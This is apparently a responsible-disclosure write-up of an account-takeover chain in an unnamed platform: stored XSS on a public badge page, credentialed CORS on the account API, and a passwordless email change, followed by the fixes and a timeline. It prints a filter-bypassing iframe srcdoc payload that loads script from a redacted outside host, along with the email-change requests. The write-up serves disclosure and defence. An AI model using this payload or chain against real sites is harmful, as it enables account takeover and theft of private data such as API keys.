At a glance
- Impact
- Opening one public badge link could give an attacker permanent control of a signed-in account.
- Cause
- Stored XSS ran on a trusted badge origin; broad credentialed CORS and a passwordless email change completed the chain.
- Fix / outcome
- All three issues were fixed in production: output encoding, narrower CORS, and a password check for email changes.
The first bug was a stored XSS on a public badge page. On its own, that gave attacker-controlled JavaScript a trusted application origin. Two backend decisions turned it into full account takeover.
The account API allowed credentialed cross-origin requests from the badge origin across its full authenticated surface. The email-change flow then allowed a logged-in session to move the account to a new address without asking for the current password. The confirmation code went only to the new address.
A logged-in user had to open one public badge link. After that, the chain could change the email and finish a password reset.
Disclosure note
The company, product, hostnames, account identifiers, collector logs, and real email addresses are omitted. The complete chain was verified only against a disposable account I controlled.
The chain
- 01 / Badge pageStored JavaScript ran on a trusted origin
- 02 / Account APICredentialed CORS exposed account actions
- 03 / Email changeNo current password was required
ResultEmail changed, then password reset gave permanent control
- An unauthenticated account stored an XSS payload in its own badge name.
- A logged-in user opened the public badge link.
- The payload ran on the badge application's trusted origin.
- JavaScript called the separate account API with browser credentials attached.
- The permissive CORS policy allowed the script to read and write authenticated account data.
- The script requested an email change to an attacker-controlled address.
- The confirmation code arrived at that new address, with no current-password check.
- After confirmation, a normal password reset gave permanent account control.
No victim-specific setup was needed beyond the badge link. Those links were routinely shared inside the platform's community.
Root cause one: raw badge output
The badge page rendered the stored badge-name field as HTML. A blocklist removed obvious script tags, event handlers, and selected JavaScript tokens, but it did not make the value safe for an HTML context.
An iframe with an entity-encoded srcdoc script loader survived the filters. The payload shape was small enough to fit inside the stored field:
<iframe srcdoc="<script src=//REDACTED></script>">
The specific bypass was not the real bug. The stored value needed output encoding when rendered.
Root cause two: credentialed CORS everywhere
The account API trusted the public badge origin and returned credentialed CORS headers across the entire API, including account-management routes.
Access-Control-Allow-Origin: <public-badge-origin>
Access-Control-Allow-Credentials: true
The public site only needed a small number of read-only profile and activity routes. Extending that trust to account endpoints gave the XSS access to the victim's authenticated API surface.
Root cause three: email change without a password
The email-change request required a valid session but did not require the current password. The six-digit confirmation code was sent exclusively to the new address.
POST /account/email-change/request
{ "new_email": "<controlled_address>" }
POST /account/email-change/confirm
{ "code": "<confirmation_code>" }
Once the new address was confirmed, the attacker could use the standard password-reset process. The takeover survived the original browser session.
What the session exposed
The cross-origin pivot reached authenticated profile and account responses. During the controlled test, those responses included:
- private email address
- plaintext API key
- billing customer identifier
- career and account data
- connected integrations
- write access to authenticated account actions
A settings endpoint also persisted arbitrary keys without an allowlist. The company recorded that item as informational because unknown keys did not create a useful privilege boundary at the time.
The production fixes
The developer deployed all three security fixes:
- Stored XSS: badge names are encoded at render time. The fix was tested by placing the payload directly in the database, bypassing the server-side filter, and confirming it rendered as inert text.
- Credentialed CORS: cross-origin credentials are now limited to the two public read routes that need them. Account routes reject credentialed cross-origin requests.
- Email change: the current password is required, and repeated incorrect-password attempts are rate limited.
Disclosure timeline
- 2 September 2026: completed the controlled end-to-end account-takeover test and prepared the report
- 3 September 2026, 12:40 AM: sent the critical report
- 3 September 2026, 2:32 AM: developer confirmed all three issues were fixed in production and offered a bounty
- 3 September 2026, 2:47 AM: acknowledged the fixes and planned a limited retest
The response took under two hours. More importantly, the fix addressed each trust boundary instead of patching only the payload that demonstrated the chain.